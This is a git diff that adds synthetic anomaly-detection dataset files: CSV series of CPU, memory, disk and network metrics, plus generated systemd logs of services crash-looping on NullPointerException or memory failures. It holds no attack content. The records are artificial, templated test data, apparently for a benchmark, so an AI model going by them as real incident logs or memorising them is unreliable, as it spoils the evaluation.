my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:03:30 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:05 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:04:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:04:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:04:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:04:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:04:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:04:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:04:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:04:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:04:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:04:40 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:05:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:05:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:05:15 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:05:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:05:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:05:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:05:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:05:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:05:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:05:50 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:06:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:06:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:06:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:06:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:06:25 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:06:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:06:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:06:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:06:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:07:00 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:07:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:07:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:07:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:07:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:07:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:07:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:07:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:07:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:07:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. diff --git a/anom_dataset/scenario_11/anom_11_15.csv b/anom_dataset/scenario_11/anom_11_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..a7c21bc47a514f73d1c84b4bb2de758c8314da34 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,27.07,15.99,64.78,2.15,1.59 +2025-07-03T10:00:05Z,87.38,43.62,72.32,4.4,3.06 +2025-07-03T10:00:10Z,89.03,55.44,70.86,4.4,3.7 +2025-07-03T10:00:15Z,81.9,61.09,10.83,1.22,0.93 +2025-07-03T10:00:20Z,83.31,73.81,14.21,1.16,1.18 +2025-07-03T10:00:25Z,91.34,77.49,7.77,1.22,1.27 +2025-07-03T10:00:30Z,93.15,85.93,5.24,1.14,1.0 +2025-07-03T10:00:35Z,81.02,89.36,5.31,0.89,1.26 +2025-07-03T10:00:40Z,99.42,98.74,14.39,1.86,1.59 +2025-07-03T10:00:45Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:00:50Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:00:55Z,0.0,0.0,0.0,0.0,0.0 +2025-07-03T10:01:00Z,19.32,17.35,57.45,2.16,1.9 +2025-07-03T10:01:05Z,83.47,47.35,74.52,4.92,2.15 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kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 03 10:00:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:00:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:00:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:00:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:00:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:00:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:00:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:00:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:00:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 1. +Jul 03 10:00:55 systemd[1]: Stopped My Application Service. +Jul 03 10:00:55 systemd[1]: Starting My Application Service... +Jul 03 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:01:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:01:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:01:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:01:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:01:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:01:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:01:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:01:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:01:55 systemd[1]: Stopped My Application Service. +Jul 03 10:01:55 systemd[1]: Starting My Application Service... +Jul 03 10:02:05 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 03 10:02:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:02:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:02:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:02:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:02:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:02:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:02:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:02:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:02:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 3. +Jul 03 10:02:55 systemd[1]: Stopped My Application Service. +Jul 03 10:02:55 systemd[1]: Starting My Application Service... +Jul 03 10:03:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:03:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:03:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:03:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:03:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:03:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:03:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:03:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:03:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 4. +Jul 03 10:03:55 systemd[1]: Stopped My Application Service. +Jul 03 10:03:55 systemd[1]: Starting My Application Service... +Jul 03 10:04:10 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 03 10:04:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:04:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:04:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:04:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:04:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:04:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:04:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:04:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:04:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Jul 03 10:04:55 systemd[1]: Stopped My Application Service. +Jul 03 10:04:55 systemd[1]: Starting My Application Service... +Jul 03 10:05:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:05:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:05:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:05:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:05:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:05:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:05:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:05:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:05:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 6. +Jul 03 10:05:55 systemd[1]: Stopped My Application Service. +Jul 03 10:05:55 systemd[1]: Starting My Application Service... +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 03 10:06:40 my-app[3456]: FATAL: Critical memory allocation failure at 0x7f8c12345678 +Jul 03 10:06:40 my-app[3456]: --- Stack Trace --- +Jul 03 10:06:40 my-app[3456]: 0: /app/lib/libcore.so(handle_crash+0x1a) [0x555e0a0b0c0d] +Jul 03 10:06:40 my-app[3456]: 1: /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) [0x7f8c0a0b0c0d] +Jul 03 10:06:40 my-app[3456]: 2: /app/my-app(process_request+0x5f2) [0x555e0a0b0c0d] +Jul 03 10:06:40 my-app[3456]: 3: /app/my-app(main+0x1b) [0x555e0a0b0c0d] +Jul 03 10:06:45 systemd[1]: my-app.service: Main process exited, code=exited, status=137/MEMORY +Jul 03 10:06:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 03 10:06:55 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 7. +Jul 03 10:06:55 systemd[1]: Stopped My Application Service. +Jul 03 10:06:55 systemd[1]: Starting My Application Service... diff --git a/anom_dataset/scenario_11/anom_11_16.csv b/anom_dataset/scenario_11/anom_11_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..e65f4ebeac44c34b9c85534dbced2348a0bcdcb9 --- /dev/null +++ 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03 10:00:00 my-crashy-app[2839]: INFO Application starting up, version 1.2.3... +Jul 03 10:00:00 my-crashy-app[2839]: INFO Database connection successful. +Jul 03 10:00:10 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:00:20 my-crashy-app[2839]: INFO Processing user request for /api/data +Jul 03 10:00:45 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:00:45 my-crashy-app[2839]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:00:45 my-crashy-app[2839]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:00:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:00:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:00:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:00:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 1. +Jul 03 10:00:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:01:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:01:00 my-crashy-app[2934]: INFO Application starting up, version 1.2.3... +Jul 03 10:01:00 my-crashy-app[2934]: INFO Database connection successful. +Jul 03 10:01:20 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:01:20 my-crashy-app[2934]: INFO Processing user request for /api/data +Jul 03 10:01:30 CRON[51832]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:45 my-crashy-app[2934]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:01:45 my-crashy-app[2934]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:01:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:01:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:01:55 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:01:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:01:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 10:01:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:02:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:02:00 my-crashy-app[3019]: INFO Application starting up, version 1.2.3... +Jul 03 10:02:00 my-crashy-app[3019]: INFO Database connection successful. +Jul 03 10:02:20 my-crashy-app[3019]: INFO Processing user request for /api/data +Jul 03 10:02:30 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:02:45 my-crashy-app[3019]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:02:45 my-crashy-app[3019]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:02:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:02:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:02:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 3. +Jul 03 10:02:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:03:00 CRON[53632]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:03:00 my-crashy-app[3070]: INFO Application starting up, version 1.2.3... +Jul 03 10:03:00 my-crashy-app[3070]: INFO Database connection successful. +Jul 03 10:03:05 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:03:20 my-crashy-app[3070]: INFO Processing user request for /api/data +Jul 03 10:03:40 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:03:45 my-crashy-app[3070]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:03:45 my-crashy-app[3070]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:03:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:03:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:03:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 4. +Jul 03 10:03:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:04:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:04:00 my-crashy-app[3168]: INFO Application starting up, version 1.2.3... +Jul 03 10:04:00 my-crashy-app[3168]: INFO Database connection successful. +Jul 03 10:04:15 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:04:20 my-crashy-app[3168]: INFO Processing user request for /api/data +Jul 03 10:04:30 CRON[55432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:45 my-crashy-app[3168]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:04:45 my-crashy-app[3168]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:04:50 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:04:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:04:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:04:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 5. +Jul 03 10:04:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:05:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:05:00 my-crashy-app[3221]: INFO Application starting up, version 1.2.3... +Jul 03 10:05:00 my-crashy-app[3221]: INFO Database connection successful. +Jul 03 10:05:20 my-crashy-app[3221]: INFO Processing user request for /api/data +Jul 03 10:05:25 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:05:45 my-crashy-app[3221]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:05:45 my-crashy-app[3221]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:05:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:05:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:05:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 6. +Jul 03 10:05:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:06:00 CRON[57232]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:00 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:06:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:06:00 my-crashy-app[3301]: INFO Application starting up, version 1.2.3... +Jul 03 10:06:00 my-crashy-app[3301]: INFO Database connection successful. +Jul 03 10:06:20 my-crashy-app[3301]: INFO Processing user request for /api/data +Jul 03 10:06:35 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:06:45 my-crashy-app[3301]: FATAL Unhandled exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 03 10:06:45 my-crashy-app[3301]: stack trace: java.lang.NullPointerException ... (omitted for brevity) +Jul 03 10:06:50 systemd[1]: my-crashy-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:06:50 systemd[1]: my-crashy-app.service: Failed with result 'exit-code'. +Jul 03 10:06:55 systemd[1]: my-crashy-app.service: Service hold-off time over, scheduling restart. +Jul 03 10:06:55 systemd[1]: my-crashy-app.service: Scheduled restart job, restart counter is at 7. +Jul 03 10:06:55 systemd[1]: Stopped My Crashy App Service. +Jul 03 10:07:00 systemd[1]: Started My Crashy App Service. +Jul 03 10:07:00 my-crashy-app[3393]: INFO Application starting up, version 1.2.3... +Jul 03 10:07:00 my-crashy-app[3393]: INFO Database connection successful. +Jul 03 10:07:10 kernel: [123.45] some_kernel_message: minor event +Jul 03 10:07:20 my-crashy-app[3393]: INFO Processing user request for /api/data diff --git a/anom_dataset/scenario_11/anom_11_17.csv b/anom_dataset/scenario_11/anom_11_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..a637e274279dc8f35ea48cc9ec83f238fcf0351b --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,7.73,9.71,9.48,4.24,5.23 +2025-07-03T10:00:05Z,23.71,25.43,20.79,10.7,9.73 +2025-07-03T10:00:10Z,36.83,41.22,28.29,15.36,15.61 +2025-07-03T10:00:15Z,54.27,57.0,39.11,20.19,20.35 +2025-07-03T10:00:20Z,74.85,67.92,50.54,25.64,25.95 +2025-07-03T10:00:25Z,75.24,66.09,51.29,24.39,28.58 +2025-07-03T10:00:30Z,75.59,67.43,49.01,21.56,20.28 +2025-07-03T10:00:35Z,0.63,2.93,0.19,0.09,0.01 +2025-07-03T10:00:40Z,0.17,2.79,0.14,0.14,0.0 +2025-07-03T10:00:45Z,0.14,2.58,0.02,0.15,0.04 +2025-07-03T10:00:50Z,0.3,2.47,0.18,0.2,0.01 +2025-07-03T10:00:55Z,0.51,2.75,0.12,0.1,0.04 +2025-07-03T10:01:00Z,4.8,8.25,8.41,4.87,4.59 +2025-07-03T10:01:05Z,23.58,27.8,20.19,10.97,10.47 +2025-07-03T10:01:10Z,41.32,44.92,30.13,14.68,15.25 +2025-07-03T10:01:15Z,56.38,53.84,41.44,19.7,20.69 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systemd[1]: Starting data processing service... +Jul 03 10:00:00 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:00:10 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:00:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:00:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:00:50 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:00:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:00:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:00:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:00:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:01:00 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:01:25 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:01:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:01:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:01:45 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:01:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:01:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:01:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:01:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:02:05 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:02:15 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:02:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:40 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:45 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:45 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:02:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:02:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:02:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:02:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:03:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:25 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:03:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:03:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:40 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:03:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:03:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:03:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:03:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:04:00 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:20 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:04:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:55 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:04:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:04:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:04:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:05:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:20 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:05:25 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:05:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:05:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:40 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:05:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:05:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:05:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:05:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:06:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:10 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:06:30 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:30 data-processor[4567]: FATAL: Unhandled exception: NullPointerException in thread 'main' + at com.example.Processor.process(Processor.java:150) + at com.example.Main.run(Main.java:42) +Jul 03 10:06:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:06:55 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 03 10:06:55 systemd[1]: Stopped Data Processing Service. +Jul 03 10:06:56 systemd[1]: Starting Data Processing Service... +Jul 03 10:06:57 data-processor[4567]: INFO Service starting, version 1.2.3 +Jul 03 10:07:00 data-processor[4567]: GET /api/v1/health status=200 OK +Jul 03 10:07:15 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_11/anom_11_18.csv b/anom_dataset/scenario_11/anom_11_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..86896ea9146378c6a8c662d6106a4a01b3ebcc11 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03 10:00:00+00:00,64.96,33.23,42.76,1.76,1.62 +2025-07-03 10:00:05+00:00,68.43,43.12,36.62,1.16,1.42 +2025-07-03 10:00:10+00:00,77.57,55.02,41.96,1.86,0.72 +2025-07-03 10:00:15+00:00,85.23,79.16,30.17,1.52,1.16 +2025-07-03 10:00:20+00:00,82.22,87.22,5.41,0.88,0.89 +2025-07-03 10:00:25+00:00,81.35,83.71,3.89,0.93,0.72 +2025-07-03 10:00:30+00:00,78.91,86.65,3.21,0.77,1.03 +2025-07-03 10:00:35+00:00,88.51,86.19,5.05,0.96,0.77 +2025-07-03 10:00:40+00:00,92.81,85.82,6.63,0.59,0.8 +2025-07-03 10:00:45+00:00,81.42,84.56,4.92,0.98,1.09 +2025-07-03 10:00:50+00:00,3.72,7.46,0.59,0.06,0.05 